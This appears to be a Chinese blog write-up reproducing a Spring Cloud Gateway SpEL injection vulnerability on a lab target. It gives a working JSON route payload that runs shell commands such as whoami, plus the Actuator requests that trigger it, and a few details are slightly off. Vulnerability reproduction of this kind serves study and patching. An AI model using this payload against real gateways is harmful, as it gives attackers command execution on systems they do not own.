Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。

影响范围

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

原理

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

Spring cloud GateWay的actuator相关端点:

复现

利用vulfocus在线靶场来进行漏洞复现 靶场地址

构造payload

1
2
3
4
5
6
id 字段指定新路由的名称,必须全局唯一;
filters字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改;
name 字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头;
args.name 字段指定要添加的响应头;
args.value 字段指定响应头的值。这里的值是要执行的 SPEL 表达式,用于执行 “任意例如whoami” 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」;
uri 字段指定将客户端请求转发到 http://example.com。
payload示例
1
2
3
4
5
6
7
8
9
10
11
12
{
"id": "----自定义一个路由id--------",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "--------此处构造spEL-------------"
}
}],
"uri": "http://localhost:8088------随意写个地址",
"predicates": ["Path=/aaa/**--------随意写个匹配规则"]
}

步骤:

  1. 按照上面的示例payload,通过构造spEL,在spEL中使用 Runtime 类执行命令。
  2. 调用刷新路由的端点,刷新gateway中的路由
  3. 调用获取指定路由的端点,使路由的spEL表达式被解析执行

因为 filters 中的value类型为字符串,所以如果想在获取指定路由时,通过响应看到命令执行结果,那么可以将spEL表达式通过new String(xxxxx)构造成返回String字符串的返回值。
例如:#{new String(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", \"ls -l /"}).toString())}

1
POST /actuator/gateway/routes/test
1
2
3
4
5
6
7
8
9
10
11
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

发送到返回包 repeater

1
POST /actuator/gateway/refresh

1
GET /actuator/env